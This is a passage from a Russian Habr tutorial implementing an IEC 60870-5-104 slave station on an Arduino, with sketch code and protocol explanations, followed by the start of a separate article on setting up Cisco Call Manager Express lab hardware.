iec104ReciveArray[1]=14; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=1;//type 1 bool iec104ReciveArray[7]=01; iec104ReciveArray[8]=20;//Cause Inrogen iec104ReciveArray[9]=00; iec104ReciveArray[10]=01; iec104ReciveArray[11]=00; iec104ReciveArray[12]=iecData[3]; iec104ReciveArray[13]=iecData[4]; iec104ReciveArray[14]=0; iec104ReciveArray[15]=iecData[5]; MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); delay(5); txcnt=txcnt+2; iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=22; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=11;//type 11 int iec104ReciveArray[7]=02;//sq iec104ReciveArray[8]=20;//Cause Inrogen iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[6];//IOA iec104ReciveArray[13]=iecData[7];//IOA iec104ReciveArray[14]=0;//IOA iec104ReciveArray[15]=iecData[8];//value [DATA 1] iec104ReciveArray[16]=iecData[9];//value [DATA 1] iec104ReciveArray[17]=iecData[10];//QDS iec104ReciveArray[18]=iecData[11];//IOA iec104ReciveArray[19]=iecData[12];//OA iec104ReciveArray[20]=0;//IOA iec104ReciveArray[21]=iecData[13];//value [DATA 2] iec104ReciveArray[22]=iecData[14];//value [DATA 2] iec104ReciveArray[23]=iecData[15];//IOA QDS MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); delay(5); txcnt=txcnt+2; iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=26; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=13;//type 13 Float iec104ReciveArray[7]=02;//sq iec104ReciveArray[8]=20;//Cause Inrogen iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[16];//IOA iec104ReciveArray[13]=iecData[17];//IOA iec104ReciveArray[14]=0; iec104ReciveArray[15]=iecData[18];//value [DATA 1] iec104ReciveArray[16]=iecData[19];//value [DATA 1] iec104ReciveArray[17]=iecData[20];//value [DATA 1] iec104ReciveArray[18]=iecData[21];//value [DATA 1] iec104ReciveArray[19]=iecData[22];//IOA QDS iec104ReciveArray[20]=iecData[23];//IOA iec104ReciveArray[21]=iecData[24];//IOA iec104ReciveArray[22]=0;//IOA iec104ReciveArray[23]=iecData[25];//value [DATA 2] iec104ReciveArray[24]=iecData[26];//value [DATA 2] iec104ReciveArray[25]=iecData[27];//value [DATA 2] iec104ReciveArray[26]=iecData[28];//value [DATA 2] iec104ReciveArray[27]=iecData[29];//IOA QDS MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); txcnt=txcnt+2; //Завершение общего опроса iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=iec104ReciveArray[1]; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=100;//type iec104ReciveArray[7]=01;//sq iec104ReciveArray[8]=10;//cause AckTerm iec104ReciveArray[9]=00; iec104ReciveArray[10]=01; iec104ReciveArray[11]=00; iec104ReciveArray[12]=00; iec104ReciveArray[13]=00; iec104ReciveArray[14]=00; iec104ReciveArray[15]=20; MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); iec104ReciveArray[6]=00;//сброс для нормальног определения нового входящего пакета break; ``` После обновления скетча наблюдаем следующий порядок обмена: ![](https://habrastorage.org/r/w780q1/files/559/b87/741/559b877419ac43d8b5e87f58cfd8c2ec.jpg) Установку соединения, запрос на передачу данных, подтверждение, запрос на общий опрос станции от контролирующей станции, завершение инициализации, запрос на общий опрос станции в направление контролируемой станции, подтверждение общего опроса, пересылка значений всех доступных сигналов на контролирующей станции, завершение общего опроса и неизвестный APCI формата S. Запрос опроса станции выдается в направлении контролируемой станции: — если с контролируемой станции получен «КОНЕЦ ИНИЦИАЛИЗАЦИИ» или — если центральная станция обнаруживает потерю канала (безуспешное повторение запроса канального уровня) и последующее восстановление его. 4. Подготовка и передача данных ------------------------------- APDU блок формата S, состоящий только из APCI предназначен для подтверждения принятого APDU I формата. Для S-формата 7 старших бит служебного поля байта 1 и байт 2 не задействованы, а байт 3 (7 старших бит) и байт 4 определяют текущий номер принятой посылки. ![](https://habrastorage.org/r/w780q1/files/1df/c5e/662/1dfc5e66294742cbbaa8017bb456c3d5.jpg) В данном случае блок S указывает на то, что контролирующая (master) станция готова к приему данных в течении определенного времени, не превышающего, тайм-аут t3 определенного на стороне контролирующей (master) станции. То есть контролирующая (master) станция говорит нам «я готова к приему данных!». Далее необходимо позаботиться о том какие данные передавать и откуда их брать. Что можно передавать? Существует несколько видов информации определённых в МЭК 870-5- 104: * Контрольная; * Управляющая; * Параметры; * Передача файлов. **Картинка**![](https://habrastorage.org/r/w780q1/files/f1b/afa/aae/f1bafaaaee9946c2b65bad349c1e02b5.jpg) В данном примере рассматривается передача контрольной информации на примере 1, 11 и 13 функций (одноэлементная, измерение масштабируемое, измерение короткий формат с плавающей запятой). Данные формируются рандомно. Также необходимо учитывать, что у каждого передаваемого сигнала имеется байт качества. ![](https://habrastorage.org/r/w780q1/files/283/22d/bcb/28322dbcbf5e4355a963284e40132559.jpg) Простой алгоритм определения качества сигнала: * Если используется замещение действующего сигнала то выставляются флаги BL(блокировка) и SB(замещение); * Если значение сигнала не изменялось в течении контрольного промежутка времени то выставляется флаг NT(не актуальное); * Если имеется признак неработоспособности узла или устройства более нижнего уровня (датчик или прочее) то выставляется флаг IV(не достоверное значение). **Скетч** ``` void SetQDS(int currvalue, int i,bool zam)//определение качества сигнала { if (zam==0)//замещение? { if (currvalue==previusValue[i])//значение не изменялось? { previusValue[i]=currvalue; counter[i]+=1; if (counter[i]>=1000) { qds[i]=64;// NT counter[i]=0; } } else { qds[i]=0; counter[i]=0; previusValue[i]=currvalue; } } else { qds[i]=48;// SB, BL } } ``` Так же необходимо учесть, что для каждого сигнала имеется уникальный идентификатор IOA, в энергетике принято распределять эти адреса следующим образом: * ТС-начиная с 4096; * ТИ-начиная с 8192; * ТУ-начиная с 20480. Для передачи значения сигналов в массив для отправки используется библиотека EEPROM: **Скетч** ``` void EEPROM_float_write(int addr, float val,int IOA,int number,bool subs) // начальный адрес в EEPROM, значение сигнала, адрес сигнала, порядковый номер измеряемого сигнала, замещение { SetQDS(val,number, subs);//установка качества сигнала byte *x = (byte *)&val//float -->byte byte *xxx = (byte *)&IOA//запись адреса IOA for(int jj = 0; jj <2; jj++) { EEPROM.write(addr,xxx[jj]);//сохранение в EEPROM адреса блока данных в 2 байтах addr+=1; } for(byte i = 0; i < 4; i++) //запись формата float в 4 байтах { EEPROM.write(addr, x[i]); //запись формата float в 4 байтах addr+=1; } EEPROM.write(addr, qds[number]);//запись информации о качестве сигнала if (addr == EEPROM.length()) { addr = 0; } } ``` И так получив APDU подтверждение S или I формата от контролирующей станции можно начать передавать имеющиеся в распоряжении данные, не забывая увеличивать номер передаваемого кадра. ![](https://habrastorage.org/r/w780q1/files/245/ac2/26a/245ac226a2be4241a6ebe70aed7645ae.jpg) **Скетч** ``` #include #include #include byte mac[] = {0x90, 0xA2, 0xDA, 0x0E, 0x94, 0xB7 }; IPAddress ip(172, 16, 7, 1); IPAddress gateway(172, 16,7, 0); IPAddress subnet(255, 255, 0, 0); EthernetClient client; EthernetServer iec104Server(2404); int TypeQuerry, MessageLength; uint8\_t iec104ReciveArray[128]; int counter[6];//порядковый номер сигнала int qds[6];//порядковый номер для определения качества сигнала int previusValue[6];//порядковый номер для определения статуса NT word iecData[256];//буфер для хранения значений сигналов int ASDU;//для определения типа входящего пакета int txcnt, rxcnt;//счетчики переданных и принятых пакетов void setup() { //создание сервера 2404 порт Ethernet.begin(mac, ip, gateway, subnet); Serial.begin(9600); } void EEPROM\_float\_write(int addr, float val,int IOA,int number,bool zam) // запись в ЕЕПРОМ значения типа Float функция 13 { SetQDS(val,number,zam);//качество сигнала byte \*x = (byte \*)&val byte \*xxx = (byte \*)&IOA for(int jj = 0; jj <2; jj++)//запись адреса IOA в 2 байта { EEPROM.write(addr,xxx[jj]); addr+=1; } for(byte i = 0; i < 4; i++)//запись формата float в 4 байта { EEPROM.write(addr, x[i]); addr+=1; } EEPROM.write(addr, qds[number]); if (addr == EEPROM.length()) { addr = 0; } } void EEPROM\_byte\_write(int addr, bool val,int IOA,int number,bool zam) // запись в ЕЕПРОМ значения типа Bool функция 1 { SetQDS(val,number,zam);//качество сигнала byte c=val+qds[number]; byte \*x = (byte \*)&c byte \*xxxx = (byte \*)&IOA for(int jj = 0; jj <2; jj++) //запись адреса IOA в 2 байта { EEPROM.write(addr,xxxx[jj]); addr+=1; } for(byte i = 0; i < 1; i++) //запись формата bool + качество сигнала в 1 байт { EEPROM.write(addr, x[i]); } if (addr == EEPROM.length()) { addr = 0; } } void EEPROM\_int\_write(int addr, int val, int IOA,int number,bool zam) // запись в ЕЕПРОМ значения типа Int функция 11 { SetQDS(val,number,zam); //качество сигнала byte \*x = (byte \*)&val byte \*xx = (byte \*)&IOA for(int jj = 0; jj <2; jj++)//запись адреса IOA в 2 байта { EEPROM.write(addr,xx[jj]); addr+=1; } for(byte i = 0; i < 2; i++)//запись формата int в 2 байтa { EEPROM.write(addr, x[i]); addr+=1; } EEPROM.write(addr, qds[number]); if (addr == EEPROM.length()) { addr = 0; } } //установка качества сигнала void SetQDS(int currvalue, int i,bool zam)//текущее значение, порядковый номер измеряемого сигнала, замещение { if (zam==0)//замещение? { if (currvalue==previusValue[i])//значение не изменялось? { previusValue[i]=currvalue; counter[i]+=1; if (counter[i]>=1000) { qds[i]=64;//установка флага NT counter[i]=0; } } else { qds[i]=0; counter[i]=0; previusValue[i]=currvalue; } } else { qds[i]=48;//установка флагов замещение и блокировки } } void loop() { //Тестовые данные для 1,11,13 функций //в формате: (адрес в EEPROM, значение сигнала, IOA адрес, качество сигнала) EEPROM\_byte\_write(0,0,4096,0,0); EEPROM\_byte\_write(3,random(0, 2),4097,1,1); EEPROM\_int\_write(6, 67,8192,2,1); EEPROM\_int\_write(11, random(10, 20),8193,3,0); EEPROM\_float\_write(16, random(-1000, 2000),8194,4,1); EEPROM\_float\_write(23, 78.66f,8195,5,1); client = iec104Server.available(); if(client.available()) { delay(100); int i = 0; while(client.available()) { iec104ReciveArray[i] = client.read();//записываем в буфер приема данные i++; } ASDU=iec104ReciveArray[6];//пакет ASDU? switch (ASDU) { case 100://опрос тсанции TypeQuerry=iec104ReciveArray[2]-word(iec104ReciveArray[3],iec104ReciveArray[2]); rxcnt+=2;//увеличение счетчика принятых пакетов break; case 0: TypeQuerry=iec104ReciveArray[2];//определяем тип посылки break; default : TypeQuerry=iec104ReciveArray[2]; break; } for(byte z = 0; z <64; z++) //чтение из еепром { iecData[z]= EEPROM.read(z); } //Тип принятого APDU switch(TypeQuerry) { case 07://APDU STARTDT rxcnt=0; txcnt=0; iec104ReciveArray[0]=iec104ReciveArray[0];//кадр переменной длины, начинающийся байтом START2 = 68h; iec104ReciveArray[1]=iec104ReciveArray[1];//длина APDU iec104ReciveArray[2]=11;//STARTDT con iec104ReciveArray[3]=0; iec104ReciveArray[4]=0; iec104ReciveArray[5]=0; MessageLength = iec104ReciveArray[1]+2;//длина пакета client.write(iec104ReciveArray, MessageLength);//отправка обратно //Инициализация iec104ReciveArray[0]=iec104ReciveArray[0];//кадр переменной длины, начинающийся байтом START2 = 68h; iec104ReciveArray[1]=14;//длина APDU iec104ReciveArray[2]=0;//тип, TX L iec104ReciveArray[3]=0;//TX H iec104ReciveArray[4]=0;//RX L iec104ReciveArray[5]=0;//RX H iec104ReciveArray[6]=70;//type End of Init iec104ReciveArray[7]=01;//sq iec104ReciveArray[8]=04;//cause Init iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=00;//IOA iec104ReciveArray[13]=00;//IOA iec104ReciveArray[14]=00;//IOA iec104ReciveArray[15]=129;//IOA, COI MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); //Общий опрос в направление контролируемой станции iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=14;//длина APDU iec104ReciveArray[2]=2;//TX L iec104ReciveArray[3]=0;//TX H iec104ReciveArray[4]=0;//RX L iec104ReciveArray[5]=0;//RX H iec104ReciveArray[6]=100;// опрос станции iec104ReciveArray[7]=01; iec104ReciveArray[8]=6;//cause Act iec104ReciveArray[9]=00; iec104ReciveArray[10]=01; iec104ReciveArray[11]=00; iec104ReciveArray[12]=00; iec104ReciveArray[13]=00; iec104ReciveArray[14]=00; iec104ReciveArray[15]=20;//IOA, QOI общий MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); txcnt=txcnt+02; break; case 00://опрос станции txcnt=txcnt+02; //Подтверждение общего опроса iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=iec104ReciveArray[1]; iec104ReciveArray[2]=lowByte(txcnt);//TX L iec104ReciveArray[3]=highByte(txcnt);//TX H iec104ReciveArray[4]=lowByte(rxcnt);//RX L iec104ReciveArray[5]=highByte(rxcnt);//RX H iec104ReciveArray[6]=100;//опрос станции iec104ReciveArray[7]=01; iec104ReciveArray[8]=7;//cause Actcon iec104ReciveArray[9]=00;//OA iec104ReciveArray[10]=01;//Addr iec104ReciveArray[11]=00;//Addr iec104ReciveArray[12]=00;//IOA iec104ReciveArray[13]=00;//IOA iec104ReciveArray[14]=00;//IOA iec104ReciveArray[15]=20;//IOA, QOI MessageLength = iec104ReciveArray[1]+2; delay(100); client.write(iec104ReciveArray, MessageLength); txcnt=txcnt+2;//увеличение счетчика переданных пакетов //актуальные состояния информации контролирующей станции в ответ на общий опрос iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=14;//длина APDU=APCI(4)+ ASDU(10) iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=1;//type 1 iec104ReciveArray[7]=01;//sq iec104ReciveArray[8]=20;//Inrogen iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[0];//IOA iec104ReciveArray[13]=iecData[1];//IOA iec104ReciveArray[14]=0;//IOA iec104ReciveArray[15]=iecData[2];//value [DATA 1] MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); txcnt=txcnt+2; iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=14; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=1; iec104ReciveArray[7]=01; iec104ReciveArray[8]=20; iec104ReciveArray[9]=00; iec104ReciveArray[10]=01; iec104ReciveArray[11]=00; iec104ReciveArray[12]=iecData[3]; iec104ReciveArray[13]=iecData[4]; iec104ReciveArray[14]=0; iec104ReciveArray[15]=iecData[5]; MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); delay(5); txcnt=txcnt+2; iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=22; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=11;//type 11 iec104ReciveArray[7]=02;//sq iec104ReciveArray[8]=20;//cause iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[6];//IOA iec104ReciveArray[13]=iecData[7];//IOA iec104ReciveArray[14]=0;//IOA iec104ReciveArray[15]=iecData[8];//value [DATA 1] iec104ReciveArray[16]=iecData[9];//value [DATA 1] iec104ReciveArray[17]=iecData[10];//QDS iec104ReciveArray[18]=iecData[11];//IOA iec104ReciveArray[19]=iecData[12];//OA iec104ReciveArray[20]=0;//IOA iec104ReciveArray[21]=iecData[13];//value [DATA 2] iec104ReciveArray[22]=iecData[14];//value [DATA 2] iec104ReciveArray[23]=iecData[15];//IOA QDS MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); delay(5); txcnt=txcnt+2; iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=26; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=13;//type 13 iec104ReciveArray[7]=02;//sq iec104ReciveArray[8]=20;//cause iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[16];//IOA iec104ReciveArray[13]=iecData[17];//IOA iec104ReciveArray[14]=0; iec104ReciveArray[15]=iecData[18];//value [DATA 1] iec104ReciveArray[16]=iecData[19];//value [DATA 1] iec104ReciveArray[17]=iecData[20];//value [DATA 1] iec104ReciveArray[18]=iecData[21];//value [DATA 1] iec104ReciveArray[19]=iecData[22];//IOA QDS iec104ReciveArray[20]=iecData[23];//IOA iec104ReciveArray[21]=iecData[24];//IOA iec104ReciveArray[22]=0;//IOA iec104ReciveArray[23]=iecData[25];//value [DATA 2] iec104ReciveArray[24]=iecData[26];//value [DATA 2] iec104ReciveArray[25]=iecData[27];//value [DATA 2] iec104ReciveArray[26]=iecData[28];//value [DATA 2] iec104ReciveArray[27]=iecData[29];//IOA QDS MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); txcnt=txcnt+2; //Завершение общего опроса iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=iec104ReciveArray[1]; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=100;//type iec104ReciveArray[7]=01;//sq iec104ReciveArray[8]=10;//cause AckTerm iec104ReciveArray[9]=00; iec104ReciveArray[10]=01; iec104ReciveArray[11]=00; iec104ReciveArray[12]=00; iec104ReciveArray[13]=00; iec104ReciveArray[14]=00; iec104ReciveArray[15]=20; MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); iec104ReciveArray[6]=00;//сброс для нормальног определения нового входящего пакета break; //APDU S case 01: txcnt=word(iec104ReciveArray[5],iec104ReciveArray[4]); iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=14; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=1;//type 1 iec104ReciveArray[7]=01;//sq iec104ReciveArray[8]=01;//cause Cycl iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[0];//IOA iec104ReciveArray[13]=iecData[1];//IOA iec104ReciveArray[14]=0;//IOA iec104ReciveArray[15]=iecData[2];//value [DATA 1] MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); delay(5); txcnt=txcnt+2; iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=14; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=1;//type 1 Bool iec104ReciveArray[7]=01;//sq iec104ReciveArray[8]=01;//cause Cycl iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[3];//IOA iec104ReciveArray[13]=iecData[4];//IOA iec104ReciveArray[14]=0;//IOA iec104ReciveArray[15]=iecData[5];//value [DATA 1] MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); delay(5); txcnt=txcnt+2; iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=22; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=11;//type 11 Int iec104ReciveArray[7]=02;//sq iec104ReciveArray[8]=01;//cause Cycl iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[6];//IOA iec104ReciveArray[13]=iecData[7];//IOA iec104ReciveArray[14]=0;//IOA iec104ReciveArray[15]=iecData[8];//value [DATA 1] iec104ReciveArray[16]=iecData[9];//value [DATA 1] iec104ReciveArray[17]=iecData[10];//QDS iec104ReciveArray[18]=iecData[11];//IOA iec104ReciveArray[19]=iecData[12];//OA iec104ReciveArray[20]=0;//IOA iec104ReciveArray[21]=iecData[13];//value [DATA 2] iec104ReciveArray[22]=iecData[14];//value [DATA 2] iec104ReciveArray[23]=iecData[15];//IOA QDS MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); delay(5); txcnt=txcnt+2; iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=26; iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=13;//type 13 Float iec104ReciveArray[7]=02;//sq iec104ReciveArray[8]=01;//cause Cycl iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[16];//IOA iec104ReciveArray[13]=iecData[17];//IOA iec104ReciveArray[14]=0; iec104ReciveArray[15]=iecData[18];//value [DATA 1] iec104ReciveArray[16]=iecData[19];//value [DATA 1] iec104ReciveArray[17]=iecData[20];//value [DATA 1] iec104ReciveArray[18]=iecData[21];//value [DATA 1] iec104ReciveArray[19]=iecData[22];//IOA QDS iec104ReciveArray[20]=iecData[23];//IOA iec104ReciveArray[21]=iecData[24];//IOA iec104ReciveArray[22]=0;//IOA iec104ReciveArray[23]=iecData[25];//value [DATA 2] iec104ReciveArray[24]=iecData[26];//value [DATA 2] iec104ReciveArray[25]=iecData[27];//value [DATA 2] iec104ReciveArray[26]=iecData[28];//value [DATA 2] iec104ReciveArray[27]=iecData[29];//IOA QDS MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); txcnt=txcnt; break; case 67: //TESTFR iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=iec104ReciveArray[1]; iec104ReciveArray[2] =131; //TESTFR con iec104ReciveArray[3] =0; iec104ReciveArray[4] =0; iec104ReciveArray[5] =0; MessageLength = iec104ReciveArray[1]+2; delay(10); client.write(iec104ReciveArray, MessageLength); iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=26;//длина APDU iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=13;//type 13 iec104ReciveArray[7]=02;//sq iec104ReciveArray[8]=03;//spont iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[16];//IOA iec104ReciveArray[13]=iecData[17];//IOA iec104ReciveArray[14]=0; iec104ReciveArray[15]=iecData[18];//value [DATA 1] iec104ReciveArray[16]=iecData[19];//value [DATA 1] iec104ReciveArray[17]=iecData[20];//value [DATA 1] iec104ReciveArray[18]=iecData[21];//value [DATA 1] iec104ReciveArray[19]=iecData[22];//IOA QDS iec104ReciveArray[20]=iecData[23];//IOA iec104ReciveArray[21]=iecData[24];//IOA iec104ReciveArray[22]=0;//IOA iec104ReciveArray[23]=iecData[25]; iec104ReciveArray[24]=iecData[26]; iec104ReciveArray[25]=iecData[27]; iec104ReciveArray[26]=iecData[28]; iec104ReciveArray[27]=iecData[29];//IOA QDS MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); break; } } } ``` Загрузив скетч в Wireshark наблюдаем, что наконец-то началась передача данных. ![](https://habrastorage.org/files/a61/b08/555/a61b085554d7466dbece57d3d2a4a4f9.JPG) Далее привожу описание структуры ASDU <100>M\_SP\_NA\_1 одноэлементная индикация. ![](https://habrastorage.org/r/w780q1/files/8ac/a08/fc1/8aca08fc17484208ad5f9d2929c5f692.jpg) **TypeId** — вид информации. **SQ** — классификатора переменной структуры. Предусматриваются две структуры блоков данных: 1. Блок, содержащий i объектов информации, каждый из которых содержит по одному элементу информации (или по одной комбинации элементов); старший бит классификатора переменной структуры SQ (single/sequence) равен 0, остальные 7 битов задают число i. 2. Блок, содержащий один объект информации, который содержит j элементов либо одинаковых комбинаций элементов информации; старший бит (27 = 80h) классификатора SQ равен 1, остальные 7 битов задают число j. **Картинка**![](https://habrastorage.org/r/w780q1/files/b07/7b0/fe0/b077b0fe004548d09207436d5288b2a8.jpg) **CauseTx** — причина передачи. **Картинка**![](https://habrastorage.org/r/w780q1/files/a05/d3f/7ad/a05d3f7ad3854e69b093e53629fb7efb.jpg) **Addr** — адрес слэйва (указывается при конфигурировании мастера). **IOA** — адрес объекта информации, по этому адресу контролирующая станция будет привязывать свой тэг **SIQ** — показатель качества передаваемого сигнала. **Структура ASDU блока функции <11>M\_ME\_NB\_1**: **Wireshark**![](https://habrastorage.org/r/w780q1/files/614/0af/f41/6140aff415ee45d0a3536f78168f9ee5.jpg) В ответ на полученные данные master будет отправлять блоки формата S и процесс зациклится до тех пор пока контролируемое(slave) устройство не перестанет передавать кадры. 5. Процедуры тестирования ------------------------- Процедуры тестирования применяются с целью контроля за работоспособностью транспортных соединений. Процедура выполняется независимо от «активности» IP-соединения, если в течение контрольного времени t3 не было принято ни одного кадра (I, U, S). Время t3 является предметом согласования и называется «Тайм-аут для посылки блоков тестирования в случае долгого простоя». Процедура тестирования реализуется путем посылки тестового APDU (TESTFR =act), которое подтверждается принимаемой станцией с помощью APDU (TESTFR =con). **Картинка**![](https://habrastorage.org/r/w780q1/files/bfb/e47/0ef/bfbe470ef86348da84fc482a7addd379.jpg) **Wireshark**![](https://habrastorage.org/r/w780q1/files/b3e/c68/d9e/b3ec68d9e96f41ae9967bf244318b290.jpg) Если от контролирующей (master) станции придет APDU у которого в байте отвечающего за тип APDU значение равно шестидесяти сети (TESTFR) это говорит о том, что в течении времени t3 от контролируемой станции не было принято ни одного кадра (I, U, S), и если в течении времени t1 не ответить подтверждением то соединение будет разорвано. **Скетч** ``` case 67: iec104ReciveArray[0]=iec104ReciveArray[0];//кадр переменной длины, начинающийся байтом START2 = 68h; iec104ReciveArray[1]=iec104ReciveArray[1];//длина APDU LENGHT iec104ReciveArray[2] = 131; //TESTDT con iec104ReciveArray[3] =0; iec104ReciveArray[4] =0; iec104ReciveArray[5] =0; MessageLength = iec104ReciveArray[1]+2;//определение длины сообщения + 2 байта Start68H and Lenght delay(10); client.write(iec104ReciveArray, MessageLength); ``` **Wireshark**![](https://habrastorage.org/r/w780q1/files/a9f/c4c/604/a9fc4c60423d4867945468f5636ea5ec.jpg) На этом всё, если кому-нибудь интересно то в следующей статье я рассмотрю протокол МЭК 670-5-104 со стороны контролирующей (master) станции на примере Arduino.
https://habr.com/ru/post/280818/
null
ru
null
# Телефония на Cisco (Call Manager Express) — Часть 1 Начав изучать CVoice (642-436) я решил выкладывать некоторые лабы в виде статей. Первая часть — такой себе «Hello World», звонок с одного телефона на другой. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/282/4e8/a50/2824e8a500cdfcadeb77fe88efb8755a.png) 1. Компоненты схемы ------------------- Схема собрана на базе маршрутизатора Cisco 1751-V, стандартная версия которого продается с 64 Мб памяти и 32 Мб флеш. Первая проблема, с которой я столкнулся — нехватка памяти. Для любого IOS версии 12.4 с поддержкой голоса требовалось 96 Мб, хотя никто не мешал запустить 12.3, но хотелось все-таки делать на последнем. В итоге в маршрутизатор была добавлена еще планка памяти 64 Мб и поставлен модуль VIC-2FXS для подключения аналоговых телефонных аппаратов. Вторая проблема, на которую ушло несколько больше времени — при загрузке не увиделся модуль VIC-2FXS. Как выяснилось после прочтения доков, для работы аналоговых голосовых модулей в маршрутизатор также нужно добавить плату сигнального процессора DSP. Пришлось добавлять планку PVDM-256k-4 с одним DSP на борту. После всех этих махинаций маршрутизатор наконец-то загрузился и нормально увидел модуль. В качестве аналоговых телефонов были использованы два DECT/Skype телефона LinkSys CIT-300 и CIT-400. 